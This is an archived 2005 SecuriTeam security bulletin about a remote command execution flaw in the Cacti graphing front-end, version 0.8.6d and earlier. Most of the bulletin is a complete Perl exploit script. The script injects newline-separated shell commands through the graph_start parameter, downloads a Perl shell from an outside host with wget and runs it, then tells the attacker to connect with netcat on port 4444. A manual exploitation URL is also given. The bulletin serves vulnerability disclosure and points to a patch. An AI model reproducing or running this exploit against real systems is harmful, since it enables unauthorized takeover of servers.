[EXPL] Cacti Remote Code Execution Vulnerability (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/27/05

  • Next message: SecuriTeam: "[NEWS] PHP Calendar Buffer Overflow"
    To: list@securiteam.com
    Date: 27 Jun 2005 17:26:09 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Cacti Remote Code Execution Vulnerability (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.rrdtool.org/> Cacti's goal is to be a complete front-end to
    rrdtool, storing all of the necessary information to create graphs and
    populate them with data in a MySQL database."

    A remote execution vulnerability was found with Cacti that allow attackers
    to execute arbitrary code on Cacti's server.

    DETAILS

    Vulnerable Systems:
     * Cacti version 0.8.6d and prior

    Exploit:
    #!/usr/bin/perl
    #
    # Remote Command Execution Exploit for Cacti <= 0.8.6d
    #
    # This exploit open a remote shell on the targets that uses Cacti
    # TARGET HOST MUST BE A GNU/LINUX SERVER, if not:
    # manual exploiting --> http://www.example.com/cacti/graph_image.php?
    local_graph_id= [valid_value]&graph_start=%0a[command]%0a
    # Patch: download the last version http://www.cacti.net/download_cacti.php
    # Discovered and Coded by Alberto Trivero

    use LWP::Simple;

    print "\n\t===============================\n";
    print "\t= Exploit for Cacti <= 0.8.6d =\n";
    print "\t= by Alberto Trivero =\n";
    print "\t===============================\n\n";

    if(@ARGV<2 or !($ARGV[1]=~m/\//)) {
       print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0
    www.example.com /cacti/\n";
       exit(0);
    }

    $page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die
    "[-] Unable to retrieve: $!";
    print "[+] Connected to: $ARGV[0]\n";
    $page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for
    local_graph_id";
    print "[~] Sending exploiting request, wait for some
    seconds/minutes...\n";
    get("http://" . $ARGV[0] . $ARGV[1] . "graph_image.php?local_graph_id=$1"
     "&graph_start=%0acd /tmp;wget
    http://albythebest.altervista.org/shell.pl;chmod 777 shell.pl;perl
    shell.pl%0a");
    print "[+] Exploiting request done!\n";
    print "[*] Now try on your box: nc -v $ARGV[0] 4444\n";

    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:trivero@jumpy.it> Alberto
    Trivero.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] PHP Calendar Buffer Overflow"

    Relevant Pages

    • [NT] Defeating Microsoft Windows XP SP2 Heap Protection and DEP Bypass
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... and bypassing DEP (Data Execution Prevention). ... Buffer overrun attacks are among the most common mechanisms, or vectors, ... a long string to an input stream or control longer than the memory ...
      (Securiteam)
    • [NT] Windows VDM #UD Local Privilege Escalation
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... vulnerability to fully compromise a Windows NT 4.0, Windows 2000, Windows ... 32-bit VDM "host" code, and the invalid opcode fault handler within the ... process).The kernel does not validate the address to which execution is ...
      (Securiteam)
    • [UNIX] Rssh and Scponly Arbitrary Command Execution
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... are designed to allow execution only of certain preset programs. ... command execution on the remote host is possible. ... rssh allows any of five predefined programs to be executed on the remote ...
      (Securiteam)
    • [NEWS] ClamAV libclamav MEW PE File Integer Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... ClamAV libclamav MEW PE File Integer Overflow Vulnerability ... Remote exploitation of an integer overflow vulnerability in Clam ... Exploitation of this vulnerability results in the execution of arbitrary ...
      (Securiteam)
    • [NT] Microsoft Windows Task Scheduler .job Stack Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... code execution flow to an address of their choosing. ... executed by exploiting this flaw will be run with the privileges of the ... In the case of Internet Explorer, ...
      (Securiteam)